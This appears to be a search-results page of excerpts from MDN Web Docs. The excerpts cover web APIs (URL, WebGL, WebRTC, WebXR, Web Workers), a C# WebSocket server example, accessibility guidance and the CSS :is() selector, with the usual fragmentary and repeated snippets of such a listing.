...identifies the track, if it has one. if it doesn't have an id, then this value is an empty string (""). if the texttrack is associated with a <track> element, then the track's id matches the element's id. texttrack.inbandmetadatatrackdispatchtype read only returns a domstring which indicates the track's in-band metadata track dispatch type. needs details texttrack.kind read only returns a domstring indicating what kind of text track the texttrack describes. the value must be one of those in the texttrackkind enum. ...
...s id matches the element's id. texttrack.inbandmetadatatrackdispatchtype read only returns a domstring which indicates the track's in-band metadata track dispatch type. needs details texttrack.kind read only returns a domstring indicating what kind of text track the texttrack describes. the value must be one of those in the texttrackkind enum. texttrack.label read only a human-readable domstring which contains the text track's label, if one is present; otherwise, this is an empty string (""), in which case a custom label may need to be generated by your code using other attributes of the track, if the track's label needs to be exposed to the user. texttrack.language read only a domstring which specifies the text language in which the text track's contents is written. the value mu...
...changing this property's value changes the track's current mode to match. permitted values are listed under text track mode constants. the default is disabled, unless the <track> element's default boolean attribute is specified, in which case the default mode is started. ...
URL - Web APIs
Web › API › URL
e a usvstring containing an initial '/' followed by the path of the url. port a usvstring containing the port number of the url. protocol a usvstring containing the protocol scheme of the url, including the final ':'. search a usvstring indicating the url's parameter string; if any parameters are provided, this string includes all of them, beginning with the leading ? character. searchparams read only a urlsearchparams object which can be used to access the individual query parameters found in search. username a usvstring containing the username specified before the domain name. methods tostring() returns a usvstring containing the whole url. it is a synonym for url.href, though it can't be used to modify the value. tojson() returns a usvstring containing the whole url. i...
...ound in search. username a usvstring containing the username specified before the domain name. methods tostring() returns a usvstring containing the whole url. it is a synonym for url.href, though it can't be used to modify the value. tojson() returns a usvstring containing the whole url. it returns the same string as the href property. static methods createobjecturl() returns a domstring containing a unique blob url, that is a url with blob: as its scheme, followed by an opaque string uniquely identifying the object in the browser. revokeobjecturl() revokes an object url previously created using url.createobjecturl(). usage notes the constructor takes a url parameter, and an optional base parameter to use as a base if the url parameter is a relative url: const url = ne...
...// "www.example.com" console.log(url.pathname); // "/cats" url properties can be set to construct the url: url.hash = 'tabby'; console.log(url.href); // "http://www.example.com/cats#tabby" urls are encoded according to the rules found in rfc 3986. ...
...truct the url: url.hash = 'tabby'; console.log(url.href); // "http://www.example.com/cats#tabby" urls are encoded according to the rules found in rfc 3986. for instance: url.pathname = 'démonstration.html'; console.log(url.href); // "http://www.example.com/d%c3%a9monstration.html" the urlsearchparams interface can be used to build and manipulate the url query string. to get the search params from the current window's url, you can do this: // https://some.site/?id=123 const parsedurl = new url(window.location.href); console.log(parsedurl.searchparams.get("id")); // "123" the tostring() method of url just returns the value of the href property, so the constructor can be used to normalize and encode a url directly. const response = await fetch(new url('http://www.example.com/démons...
WebGL2RenderingContext.getUniformIndices() - Web APIs
return value an array of gluint containing the uniform indices. ...
... return value an array of gluint containing the uniform indices. ...
... return value an array of gluint containing the uniform indices. ...
... return value an array of gluint containing the uniform indices. ...
WebGLRenderingContext.getActiveUniform() - Web APIs
the webglrenderingcontext.getactiveuniform() method of the webgl api returns a webglactiveinfo object containing size, type, and name of a uniform attribute. it is generally used when querying unknown uniforms either for debugging or generic library creation. syntax webglactiveinfo webglrenderingcontext.getactiveuniform(program, index); parameters program a webglprogram specifying the webgl shader program from which to obtain the uniform variable's information. index a gluint specifying the index of the uniform attribute to get. this value is an index 0 to n - 1 as returned by gl.getprogramparameter(program, gl.active_uniforms). return value a webglactiveinfo object describing the uniform. the type attribute of the return value will be one of the following: gl.float gl.flo...
...e gl.sampler_2d_shadow gl.sampler_2d_array gl.sampler_2d_array_shadow gl.sampler_cube_shadow gl.int_sampler_2d gl.int_sampler_3d gl.int_sampler_cube gl.int_sampler_2d_array gl.unsigned_int_sampler_2d gl.unsigned_int_sampler_3d gl.unsigned_int_sampler_cube gl.unsigned_int_sampler_2d_array when gl.linkprogram is called, webgl creates a list of active uniforms. these are possible values of the name attribute of return values of getactiveuniform. webgl generates one or more entries in the list depending on the declared type of the uniform in the shader: single basic type: one entry with the name of the uniform. e.g. uniform vec4 a; will result in a. array of basic type: one entry with the name of the uniform suffixed with [0]. e.g. uniform vec4 b[...
...d[2]; will result in: d[0].foo d[0].bar d[1].foo d[1].bar uniform blocks: one entry for each member. if the uniform block has an instance name, the block name is prefixed. e.g. uniform block { float foo; }; will result in foo, and uniform block { float bar; } e; will result in block.bar. ...
...tribute of the return value corresponds to the length of the array for uniforms declared as arrays. otherwise, it is 1 (this includes interface blocks instanced with arrays). exceptions gl.invalid_value is generated if the program webglprogram is invalid (not linked, deleted, etc.). gl.invalid_value is generated if index is not in the range [0, gl.getprogramparameter(program, gl.active_uniforms) - 1]. examples const numuniforms = gl.getprogramparameter(program, gl.active_uniforms); for (let i = 0; i < numuniforms; ++i) { const info = gl.getactiveuniform(program, i); console.log('name:', info.name, 'type:', info.type, 'size:', info.size); } specifications specification status comment webgl 1.0the definition of 'getactiveuniform' in that specification. ...
WebGLRenderingContext.getParameter() - Web APIs
fragment_uniform_vectors glint gl.max_renderbuffer_size glint gl.max_texture_image_units glint gl.max_texture_size glint gl.max_varying_vectors glint gl.max_vertex_attribs glint gl.max_vertex_texture_image_units glint gl.max_vertex_uniform_vectors glint gl.max_viewport_dims int32array (with 2 elements) gl.pack_alignment glint gl.polygon_offset_factor glfloat gl.polygon_offset_fill glboolean gl.polygon_offset_units glfloat gl.red_bits glint gl.renderbuffer_binding webglrenderbuffer or null see bindrenderbuffer. gl.renderer domstring gl.sample...
...nderbuffer or null see bindrenderbuffer. ...
... constant returned type description gl.copy_read_buffer_binding webglbuffer or null see bindbuffer. gl.copy_write_buffer_binding webglbuffer or null ...
... constant returned type description gl.copy_read_buffer_binding webglbuffer or null see bindbuffer. gl.copy_write_buffer_binding webglbuffer or null see bindbuffer. gl.draw_buff...
WebGL constants - Web APIs
y with four elements for the current viewport dimensions. scissor_box 0x0c10 returns an int32array with four elements for the current scissor box dimensions. ...
...eprogram to determine if it is valid. returns false if errors were found. attached_shaders 0x8b85 passed to getprogramparameter after calling attachshader to determine if the shader was attached correctly. returns false if errors occurred. active_attributes 0x8b89 passed to getprogramparameter to get the number of attributes active in a program. active_uniforms 0x8b86 passed to getprogramparamter to get the number of uniforms active in a program. max_vertex_attribs 0x8869 the maximum number of entries possible in the vertex attribute list. max_vertex_uniform_vectors 0x8dfb max_varying_vectors 0x8dfc max_combined_texture_image_units 0x8b4d max_vertex_texture_image_units 0...
... depth24_stencil8 0x88f0 draw_framebuffer_binding 0x8ca6 read_framebuffer 0x8ca8 draw_framebuffer 0x8ca9 read_framebuffer_binding 0x8caa renderbuffer_samples 0x8cab framebuffer_attachment_texture_layer 0x8cd4 framebuffer_incomplete_multisample 0x8d56 uniforms constant name value description uniform_buffer 0x8a11 uniform_buffer_binding 0x8a28 uniform_buffer_start 0x8a29 uniform_buffer_size 0x8a2a max_vertex_uniform_blocks 0x8a2b max_fragment_uniform_blocks 0x8a2d max_combined_uniform_blocks 0x8a2e max_unifo...
... 0x8a37 uniform_size 0x8a38 uniform_block_index 0x8a3a uniform_offset 0x8a3b uniform_array_stride 0x8a3c uniform_matrix_stride 0x8a3d uniform_is_row_major 0x8a3e uniform_block_binding 0x8a3f uniform_block_data_size 0x8a40 uniform_block_active_uniforms 0x8a42 uniform_block_active_uniform_indices 0x8a43 uniform_block_referenced_by_vertex_shader 0x8a44 uniform_block_referenced_by_fragment_shader 0x8a46 sync objects constant name value description object_type 0x9112 sync_condition 0x9113 sync_status 0x9114 ...
WebGL: 2D and 3D graphics for the web - Web APIs
Web › API › WebGL API
this conformance makes it possible for the api to take advantage of hardware graphics acceleration provided by the user's device. ...
...g extensions a guide to using webgl extensions. tutorials webgl tutorial a beginner's guide to webgl core concepts. a good place to start if you don't have previous webgl experience. examples a basic 2d webgl animation example this example demonstrates the simple animation of a one-color shape. topics examined are adapting to aspect ratio differences, a function to build shader programs from sets of multiple shaders, and the basics of drawing in webgl. webgl by example a series of live samples with short explanations that showcase webgl concepts and capabilities. the examples are sorted according to topic and level of difficulty, covering the webgl rendering context, shader programming, textures, geometry, user interaction, and more. advanced tutorials webgl model view pr...
...xtures, geometry, user interaction, and more. advanced tutorials webgl model view projection a detailed explanation of the three core matrices that are typically used to represent a 3d object view: the model, view and projection matrices. matrix math for the web a useful guide to how 3d transform matrices work, and can be used on the web — both for webgl calculations and in css3 transforms. resources raw webgl: an introduction to webgl a talk by nick desaulniers that introduces the basics of webgl. this is a great place to start if you've never done low-level graphics programming. khronos webgl site the main web site for webgl at the khronos group. webgl fundamentals a basic tutorial with fundamentals of webgl. webgl playground an online tool for creating and sharing webgl ...
...webgl at the khronos group. webgl fundamentals a basic tutorial with fundamentals of webgl. webgl playground an online tool for creating and sharing webgl projects. good for quick prototyping and experimenting. webgl academy an html/javascript editor with tutorials to learn basics of webgl programming. webgl stats a site with statistics about webgl capabilities in browsers on different platforms. libraries glmatrix is a javascript matrix and vector library for high-performance webgl apps. philogl is a webgl framework for data visualization, creative coding, and game development. pixi.js is a fast, open-source 2d webgl renderer. playcanvas is an open-source game engine. sylvester is an open-source library for manipulating vectors and matrices. not optimized for webgl but extremel...
Establishing a connection: The WebRTC perfect negotiation pattern - Web APIs
constant is set to the camera and microphone stream, allowing the local user to see what the other peer sees. handling incoming tracks we next need to set up a handler for track events to handle inbound video and audio tracks that have been negotiatied to be received by this peer connection. to do this, we implement the the rtcpeerconnection's ontrack event handler. pc.ontrack = ({track, streams}) => { track.onunmute = () => { if (remotevideo.srcobject) { return; } remotevideo.srcobject = streams[0]; }; }; when the track event occurs, this handler executes. using destructuring, the rtctrackevent's track and streams properties are extracted. the former is either the video track or the audio track being received. the latter is an array of mediastream objects, each r...
...in our case, this will always contain one stream, at index 0, because we passed one stream into addtrack() earlier. we add an unmute event handler to the track, because the track will become unmuted once it starts receiving packets. we put the remainder of our reception code in there. ...
...d an unmute event handler to the track, because the track will become unmuted once it starts receiving packets. we put the remainder of our reception code in there. if we already have video coming in from the remote peer (which we can see if the remote view's <video> element's srcobject property already has a value), we do nothing. otherwise, we set srcobject to the stream at index 0 in the streams array. the perfect negotiation logic now we get into the true perfect negotiation logic, which functions entirely independently from the rest of the application. handling the negotiationneeded event first, we implement the rtcpeerconnection event handler onnegotiationneeded to get a local description and send it using the signaling channel to the remote peer. let makingoffer = false; pc.onn...
...e type rollback, like this: await pc.setlocaldescription({ type: "rollback" }); doing so returns the local peer to the stable signalingstate from whichever state it had previously been in. since a peer can only accept offers when in the stable state, the peer has thus rescinded its offer and is ready to receive the offer from the remote (impolite) peer. as we'll see in a moment, there are problems with this approach, however. perfect negotiation with the old api using the previous api to implement incoming negotiation messages during perfect negotiation would look something like this: signaler.onmessage = async({data: { description, candidate }}) => { try { if (description) { if (description.type == "offer" && pc.signalingstate != "stable") { if (!polite) { ...
Writing a WebSocket server in C# - Web APIs
first steps websockets communicate over a tcp (transmission control protocol) connection. ...
...ase64 + "\r\n\r\n"); stream.write(response, 0, response.length); } else { bool fin = (bytes[0] & 0b10000000) != 0, mask = (bytes[1] & 0b10000000) != 0; // must be true, "all messages from the client to the server have this bit set" int opcode = bytes[0] & 0b00001111, // expecting 1 - text message msglen = bytes[1] - 128, // & 0111 1111 offset = 2; if (msglen == 126) { // was touint16(bytes, offset) but the result is incorrect msglen = bitconverter.touint16(new byte[] { bytes[3], bytes[2] }, 0); offset = 4; } else if (msglen == 127) { console.writeline("todo: ms...
...111 offset = 2; if (msglen == 126) { // was touint16(bytes, offset) but the result is incorrect msglen = bitconverter.touint16(new byte[] { bytes[3], bytes[2] }, 0); offset = 4; } else if (msglen == 127) { console.writeline("todo: msglen == 127, needs qword to store msglen"); // i don't really know the byte order, please edit this // msglen = bitconverter.touint64(new byte[] { bytes[5], bytes[4], bytes[3], bytes[2], bytes[9], bytes[8], bytes[7], bytes[6] }, 0); // offset = 10; } if (msglen == 0) console.writeline("msglen == 0"); else ...
...e order, please edit this // msglen = bitconverter.touint64(new byte[] { bytes[5], bytes[4], bytes[3], bytes[2], bytes[9], bytes[8], bytes[7], bytes[6] }, 0); // offset = 10; } if (msglen == 0) console.writeline("msglen == 0"); else if (mask) { byte[] decoded = new byte[msglen]; byte[] masks = new byte[4] { bytes[offset], bytes[offset + 1], bytes[offset + 2], bytes[offset + 3] }; offset += 4; for (int i = 0; i < msglen; ++i) decoded[i] = (byte)(bytes[offset + i] ^ masks[i % 4]); string text = encoding.utf8.getstring(decoded); console.writeli...
Inputs and input sources - Web APIs
n, tracking their eyes, or the use of a joystick or motion-sensing controller to move a cursor. actions include both selection actions, such as clicking on a button, and squeeze actions, such as pulling a trigger or tightening your grip while wearing haptic gloves. by combining these two types of input with the changing of viewing position and/or orientation through the headset or other mechanisms, you can create an interactive simulated environment. input device types webxr supports a variety of different types of devices to handle targeting and action inputs. these devices include but aren't limited to: screen taps (particularly but not necessarily only on phones or tablets) can be used to simultaneously perform both targeting and selection. motion-sensing controllers, which use ac...
...yer's weapon while the off hand controller might be used to control the positioning of a shield. targeting ray mode the targeting ray mode is a string found in the targetraymode property. it describes the technique used to determine the targeting ray and how it should be shown to the user if presented visually. when the targeting ray mode is gaze, the ray's origin is at the viewer and simply aims in the direction the user is facing. this gaze input method is fairly simple, and doesn't need any special controls, as it will be based on the facing direction reported by the headset or whatever device is used to determine what direction the viewer's face is pointing in. the target ray should extend outward from between the eyes in a direction perpendicular to the viewer's face. more flexible ...
...ource, in order of specificity from most-specific to least. in order to do anything meaningful involving scanning of profiles beyond basic identification of features, you may need to import the json profile database from the webxr input profiles registry. see input profiles for more specific details on working with input profiles. choosing the primary controller in order to avoid having problems introduced by multiple controllers trying to inadvertently manipulate the ui at the same time, your app may need to have a "primary" controller. not only would this controller then take the responsibility of clicking through the user interface of your app, but it would also be considered the "main hand," while other controllers would then be off-hand or additional controllers. note: this doesn'...
...sition is changed by applying a delta to the previously known position, then replacing the avatar's reference space with a new one whose transform reflects the new position. orientation the avatar's orientation or facing direction is changed by applying a delta to its rotation around the three axes, updating its orientation vector, then recomputing its reference space. action the avatar performs an action, such as using an object or weapon, jumping, or any other activity not related to basic movement and rotation. some inputs are instead used to control the application rather than the avatar. for example, a button might open an options menu used to configure the application. while that menu is open, inputs that would otherwise control the avatar might be instead applied to controlling ...
Spaces and reference spaces: Spatial tracking in WebXR - Web APIs
s actions in their environment. in this guide, we'll explore how webxr uses spaces and, more specifically, reference spaces, to track the positions, orientations, and movements of objects and of the user's body in the virtual world. note: this article presumes that you are familiar with the concepts introduced in geometry and reference spaces in webxr: that is, the basics of 3d coordinate systems, as well as webxr spaces, reference spaces, and how reference spaces are used to create local coordinate systems for individual objects or movable components within a scene. representing a position using a reference space as covered in defining spatial relationships with reference spaces in geometry and reference spaces in webxr, reference spaces establish a local coordinate system which is of...
... device may have a targeting ray associated with it, which is represented by a space whose origin is at the point on the controller at which the ray is emitted, and is oriented so that -z extends in the direction of the target it's pointing at. because each of these is defined using a reference space as its foundation, the webxr device api can easily be used to convert among the coordinate systems, perform operations affecting these spaces and their corresponding objects, and so forth. describing a position relative to a space there are two scenarios in which you may need to describe a position and/or orientation relative to a space. the first is described above: applying a reference space to an offset (or vice-versa, since the result is the same) to determine the transform matrix that ...
... system. detecting and functioning after tracking loss if tracking fails, such as due to a temporary loss of connectivity between the headset and the user's device, the xr layer will continue to return poses, but those poses' emulatedposition property will be true, indicating that the computation of the pose is based on a guess of the current position of the user. some xr hardware uses algorithms to compute the estimated position of the user based on the movement currently ongoing, while other hardware will report no movement at all, but with emulatedposition set to true. in either case, you may wish to adjust your rendering to compensate for the loss, depending on your specific needs. <<<--- more text and example about how to handle rendering during lost tracking --->>> when tracking r...
...ied to everything to adapt the position and orientation data from webxr to your needs. you can do this by creating a new reference space that incorporates into its effective origin the distance the viewer's position jumped since the previous frame, using the xrreferencespace method getoffsetreferencespace(). <<<--- needs an example --->>> the reset event <<<--- this section probably has problems still; corrections are appreciated --->>> when a discontinuity or break in the native or effective origin of a reference space occurs, the user agent will send the xrreferencespace a reset event. this event indicates that a significant change to the origin's position has taken place relative to the user's environment. a reset may occur because the xr hardware lost connectivity for a time, resul...
Using Web Workers - Web APIs
accessed from multiple scripts. note: see the web workers api landing page for reference documentation on workers and additional guides. you can run whatever code you like inside the worker thread, with some exceptions. for example, you can't directly manipulate the dom from inside a worker, or use some default methods and properties of the window object. but you can use a large number of items available under window, including websockets, and data storage mechanisms like indexeddb. see functions and classes available to workers for more details. data is sent between workers and the main thread via a system of messages — both sides send their messages using the postmessage() method, and respond to messages via the onmessage event handler (the message is contained within the message e...
...on result inside the appropriate result paragraph. about thread safety the worker interface spawns real os-level threads, and mindful programmers may be concerned that concurrency can cause “interesting” effects in your code if you aren't careful. however, since web workers have carefully controlled communication points with other threads, it's actually very hard to cause concurrency problems. there's no access to non-threadsafe components or the dom. and you have to pass specific data in and out of a thread through serialized objects. so you have to work really hard to cause problems in your code. content security policy workers are considered to have their own execution context, distinct from the document that created them. for this reason they are, in general, not governed by the...
...set="utf-8" /> <title>mdn example - embedded worker</title> <script type="text/js-worker"> // this script won't be parsed by js engines because its mime type is text/js-worker. var myvar = 'hello world!'; // rest of your worker code goes here. </script> <script type="text/javascript"> // this script will be parsed by js engines because its mime type is text/javascript. ...
...js-worker. var myvar = 'hello world!'; // rest of your worker code goes here. </script> <script type="text/javascript"> // this script will be parsed by js engines because its mime type is text/javascript. function pagelog(smsg) { // use a fragment: browser will only render/reflow once. var ofragm = document.createdocumentfragment(); ofragm.appendchild(document.createtextnode(smsg)); ofragm.appendchild(document.createelement('br')); document.queryselector('#logdisplay').appendchild(ofragm); } </script> <script type="text/js-worker"> // this script won't be parsed by js engines because its mime type is text/js-worker. onmessage = function(oevent) { postmessage(myvar); }; // rest of your worker code goes here. </script> <script type="text/javascript"> ...
Window.devicePixelRatio - Web APIs
the devicepixelratio of window interface returns the ratio of the resolution in physical pixels to the resolution in css pixels for the current display device. this value could also be interpreted as the ratio of pixel sizes: the size of one css pixel to the size of one physical pixel. in simpler terms, this tells the browser how many of the screen's actual pixels should be used to draw a single css pixel. this is useful when dealing with the difference between rendering on a standard display versus a hidpi or retina display, which use more screen pixels to draw the same objects, resulting in a sharper image. you can use window.matchmedia() to check if the value of devicepixelratio changes (which can happen, for example, if the user drags the window to a display with a different pixel den...
...lratio changes (which can happen, for example, if the user drags the window to a display with a different pixel density). see the example below. syntax value = window.devicepixelratio; value a double-precision floating-point value indicating the ratio of the display's resolution in physical pixels to the resolution in css pixels. a value of 1 indicates a classic 96 dpi (76 dpi on some platforms) display, while a value of 2 is expected for hidpi/retina displays. other values may be returned as well in the case of unusually low resolution displays or, more often, when a screen has a higher pixel depth than simply double the standard resolution of 96 or 76 dpi. examples correcting resolution in a <canvas> a <canvas> can appear too blurry on retina screens. use window.devicepixelratio t...
...aft initial definition browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 3webview android full support 1chrome android full support 18firefox android full support 18opera android full support 11.1safari ios full support 1samsung internet android full support 1.0legend full support full support ...
Window.navigator - Web APIs
Web › API › Window › navigator
object = window.navigator examples example #1: browser detect and return a string var sbrowser, susrag = navigator.useragent; // the order matters here, and this may report false positives for unlisted browsers. ...
...ample #1: browser detect and return a string var sbrowser, susrag = navigator.useragent; // the order matters here, and this may report false positives for unlisted browsers. ...
...er, susrag = navigator.useragent; // the order matters here, and this may report false positives for unlisted browsers. ...
...rt false positives for unlisted browsers. ...
WorkerLocation - Web APIs
ble via the workerglobalscope.location property obtained by calling self.location. this interface is only visible from inside a javascript script executed in the context of a web worker. properties the workerlocation interface doesn't inherit any property, but implements properties defined in the urlutilsreadonly interface. urlutilsreadonly.href read only is a stringifier that returns a domstring containing the whole url of the script executed in the worker. urlutilsreadonly.protocol read only is a domstring containing the protocol scheme of the url of the script executed in the worker, including the final ':'. urlutilsreadonly.host read only is a domstring containing the host, that is the hostname, a ':', and the port of the url of the script executed in the worker. urlutilsr...
...e script executed in the worker. urlutilsreadonly.protocol read only is a domstring containing the protocol scheme of the url of the script executed in the worker, including the final ':'. urlutilsreadonly.host read only is a domstring containing the host, that is the hostname, a ':', and the port of the url of the script executed in the worker. urlutilsreadonly.hostname read only is a domstring containing the domain of the url of the script executed in the worker. urlutilsreadonly.origin read only returns a domstring containing the canonical form of the origin of the specific location. ...
...ning the host, that is the hostname, a ':', and the port of the url of the script executed in the worker. urlutilsreadonly.hostname read only is a domstring containing the domain of the url of the script executed in the worker. urlutilsreadonly.origin read only returns a domstring containing the canonical form of the origin of the specific location. urlutilsreadonly.port read only is a domstring containing the port number of the url of the script executed in the worker. urlutilsreadonly.pathname read only is a domstring containing an initial '/' followed by the path of the url of the script executed in the worker. urlutilsreadonly.search read only is a domstring containing a '?' followed by the parameters of the url of the script executed in the worker. urlutilsreadonly.hash ...
...e port number of the url of the script executed in the worker. urlutilsreadonly.pathname read only is a domstring containing an initial '/' followed by the path of the url of the script executed in the worker. urlutilsreadonly.search read only is a domstring containing a '?' followed by the parameters of the url of the script executed in the worker. urlutilsreadonly.hash read only is a domstring containing a '#' followed by the fragment identifier of the url of the script executed in the worker. methods the workerlocation interface doesn't inherit any method, but implements methods defined in the urlutilsreadonly interface. urlutilsreadonly.tostring() returns a domstring containing the whole url of the script executed in the worker. it is a synonym for urlutilsreadonly.href. ...
Accessibility: What users can do to browse more safely - Accessibility
this article discusses making web content accessible for those with vestibular disorders, and those who support them, by taking advantage of personalization and accessibility settings built into the operating systems. taking advantage of personalization settings can help prevent exposure to content leading to seizures and / or other physical reactions. ...
...tions. personalization and accessibility settings from the article, "understanding success criterion 2.3.1: three flashes or below threshold" "flashing can be caused by the display, the computer rendering the image or by the content being rendered. the author has no control of the first two. they can be addressed by the design and speed of the display and computer" hardware and operating systems on many computers offer control that is not afforded to developers. the user can do much to protect himself by learning his operating system, its personalization and accessibility settings. those in the public sector who must accomodate those with special sensitivities, should consider setting aside at least one work station and becoming familiar with its personalization and accessibility setting...
...eb store. gif scrubber gif scrubber is a chrome extension that allows you to control gifs like a video player. there is a github repository for it at https://github.com/0ui/gif-scrubber beeline reader beeline reader has a browser extension that allows you to set up for grayscale and dyslexi font, among other things take advantage operating system accessibility features most operating systems such as windows 10, have accessibility options that are surprisingly powerful. usually they are quite easy to find by simply typing ( or saying) in the word, "accessibility" in the search finder of the operating system. turn off animations in the operating system in the windows10 operating system, the user has an ability to turn off animations. this will not work on animated gifs; the source of...
...ntent reduces the cognitive workload. it may assist users with other disabilities, as well. an interesting discussion by users on the benefits of using grayscale may be found in the discussion thread, "what is the “grayscale” setting for in accessibility options?". of particular interest is a user who has photosensitive epilepsy, and uses it when feeling "seizure-y". most operating systems have a way to let the user make an adjustment on the workstation. in the screenshot below, you can see an example of windows 10 accessibility settings allowing for color filters to be selected. grayscale is enabled when the color filters button is toggled "on" see also accessibilty accessibility learning path web accessibility for seizures and physical reactions color blindness discussi...
Architecture - Accessibility
) objects are implemented by nstextaccessible. their text is actually exposed in their parent nshypertextaccessible via nsiaccessibletext. when the hierarchy is finally exposed to atk they are stripped out. they are in the nsiaccessible hierarchy to make it easy for nshypertextaccessible to piece its final text representation together. they are kept in iaccessible2 for backward compatibility with msaa clients that expect text in leaf nodes. html (role_whitespace) objects are implemented by nshtmlbraccessible. they end up getting exposed as '\n' in their parent nshypertextaccessible. when the hierarchy is finally exposed to atk they are stripped out as leaf nodes, but the \n remains in the containing text. they are in the nsiaccessible hierarchy to make it easy for nshypertextaccessible...
...xposes. the implementation simply doesn't create atkobjects for a whitespace or text leaf nsiaccessibles. see the atk uses of isembeddedobject() for more information on how we do this. iaccessible2: same as nsiaccessible. text and whitespace leaf nodes are exposed, but are redundant with the information in the parent object's nsiaccessibletext. this is done for backward compatibility with older msaa clients which didn't have access to a text interface. the children of a hypertext object are a superset of the links it exposes. the new system makes it easier to show caret positions etc., which will be an improvement in ia2 over msaa. example take the following html code: <div>hello<a href="http://www.mozilla.org/access">my link<img src="image.gif">is cool</a>bye</div> both the <a> and <im...
...l</a>bye</div> both the <a> and <img> are hyperlinks also, both the <div> and <a> are hypertexts so the <a> is both a hypertext and a hyperlink, because it contains text and is contained within text. this means that we have an exact mirror to the dom, but text lives in the parents instead of in the leaves, which now don't really provide additional useful information. they are only provided under msaa/ia2 for backward compatibility. implementation classes here are some notes on the classes we use: nshypertextaccessible is for any container that may wrap both text and embedded object: nsiaccessibletext is supported if there is potentially any text in the container nsiaccessiblehypertext is supported if there is potentially text and embedded objects together in the container. nsiaccessi...
...ible still represents any node in the tree. if the node is embedded in a parent that is an nsiaccessiblehypertext, the node will be exposed as an nsiaccessiblehyperlink. consumers can use this interface to determine the position of the object in the parent's text. nstextaccessible serves 2 purposes it is used by nshypertextaccessible to collect information about itself it is still exposed in msaa for backward compatibility by old windows assistive technologies. those at's don't yet know about any iaccessibletext yet, and want to see the hierarchy how they always did -- with text in leaf nodes. how does an at deal with text (a) to get the embedded object for an embedded object char: linkindex = iahypertext::getlinkindex(offset) iahyperlink*object = iahypertext::getlink(linkindex) ...
Perceivable - Accessibility
this article provides practical advice on how to write your web content so that it conforms to the success criteria outlined in the perceivable principle of the web content accessibility guidelines (wcag) 2.0 and 2.1. perceivable states that users must be able to perceive it in some way, using one or more of their senses. note: to read the w3c definitions for perceivable and its guidelines and success criteria, see principle 1: perceivable - information and user interface components must be presentable to users in ways they can perceive. guideline 1.1 — providing text alternatives for non-text content the key here is that text can be converted to other forms that people with disabilities can use. for example, it can be spoken by a screenreader, converted to large print, or re...
...content should be given suitable alternative text. text alternatives. complex images or charts should have an accessible alternative provided, either on the same page or via a link. use a regular link instead of a longdesc attribute. a text description may work, or an accessible data table (see html table advanced features and accessibility). see other text alternative mechanisms for the argument against longdesc. multimedia content (i.e., audio or video) should at least have a descriptive identification available, such as a caption or similar. see text alternatives for static caption options, and audio transcripts, video text tracks, and other multimedia content for other alternatives. ui controls such as form elements and buttons should...
...ders, etc. image alt text. content images should have text available that clearly describes the image's contents, which can be programmatically associated with it (e.g., alt text), or otherwise is easy to associate (e.g., describes it and is sat right next to it). this should mean that the full meaning can still be inferred even if you can't see the image. lists. if the order of list items is important, use an ordered list (<ol>). the whole of html: a good basis for accessibility is packed with information about this, but you should particularly refer to good semantics, ui controls, and text alternatives. 1.3.2 meaningful content sequence (a) a sensible, logical reading order should be easy to determine for any content, even if it is visually present...
...ntent is easy to discern from backgrounds and other decoration. the classic example is color (both color contrast and use of color to convey instructions), but it applies in other situations too. success criteria how to conform to the criteria practical resource 1.4.1 use of color (a) color should not be solely relied upon to convey information. for example, in forms, you should never mark required fields purely with a color (like red). instead (or as well as), something like an asterisk with a label of "required" would be more appropriate. see color and color contrast and multiple labels. 1.4.2 audio controls (a) for any audio that plays for longer than three seconds, provide accessible controls to play and pause the audio/video, and mute/...
Text labels and names - Accessibility
there are many situations in which a control, dialog, or other website feature should be given a descriptive name or label to allow users of assistive technologies to understand what its purpose is and to be able to understand and operate it correctly. there are a number of different types of problems in this category, found in different contexts, and each has its own solution. the different problems and solutions are discussed in the sections below. use alt attribute to label area elements that have the href attribute in image maps, give each <area> element an alt attribute containing a name that describes what resources the areas links to. failure to do so makes an image map hard to use for users of assistive technology — they need alternative text to be able to understand the ...
...this includes the <embed> and <object> elements. these elements are often used for graphical content, much like the <img> element. a descriptive title help...
...el><br/> <input type="radio" id="mothman" name="monster"> <label for="mothman">mothman</label> </fieldset> </form> you can see a live, interactive version of this example on the <fieldset> reference page. see also <fieldset> <legend> form elements must be labeled all elements within a form must have a <label> that identifies its purpose. this applies to all types of <input> items, as well as <button>, <output>, <select>, <textarea>, <progress> and <meter> elements, as well as any element with the switch aria role. the form element can be placed inside the <label>, in which case the association between the form element and the label is obvious from the structure. or, you can create an association between a <label> and a form element by specifying the form element's id val...
...ments, as well as any element with the switch aria role. the form element can be placed inside the <label>, in which case the association between the form element and the label is obvious from the structure. or, you can create an association between a <label> and a form element by specifying the form element's id value as the value of the label's for attribute. example <label>i agree to the terms and conditions. <input type="checkbox" id="terms"> </label> <input type="checkbox" id="emailoptin"> <label for="emailoptin">yes, please send me news about this product.</label> form elements should have a visible text label in addition to having a <label> for every form element, those labels should be visible, not hidden. visible labels help all users understand the purpose of a form elemen...
Accessibility
ity if misused. this article outlines some css and javascript best practices that should be considered to ensure even complex content is as accessible as possible. wai-aria basics following on from the previous article, sometimes making complex ui controls that involve unsemantic html and dynamic javascript-updated content can be difficult. ...
...namic javascript-updated content can be difficult. wai-aria is a technology that can help with such problems by adding in further semantics that browsers and assistive technologies can recognize and use to let users know what is going on. here we'll show how to use it at a basic level to improve accessibility. accessible multimedia another category of content that can create accessibility problems is multimedia — video, audio, and image content need to be given proper textual alternatives so they can be understood by assistive technologies and their users. this article shows how. ...
...this article looks at mobile-specific accessibility considerations. ...
...this article looks at mobile-specific accessibility considerations. ...
:is() (:matches(), :any()) - CSS: Cascading Style Sheets
Web › CSS › :is
i> </ul> </main> <footer> <p>this is my footer paragraph</p> </footer> :-webkit-any(header, main, footer) p:hover { color: red; cursor: pointer; } :-moz-any(header, main, footer) p:hover { color: red; cursor: pointer; } :matches(header, main, footer) p:hover { color: red; cursor: pointer; } :is(header, main, footer) p:hover { color: red; cursor: pointer; } let matcheditems; try { matcheditems = document.queryselectorall(':is(header, main, footer) p'); } catch(e) { try { matcheditems = document.queryselectorall(':matches(header, main, footer) p'); } catch(e) { try { matcheditems = document.queryselectorall(':-webkit-any(header, main, footer) p'); } catch(e) { try { matcheditems = document.queryselectorall(':-moz-any(header, mai...
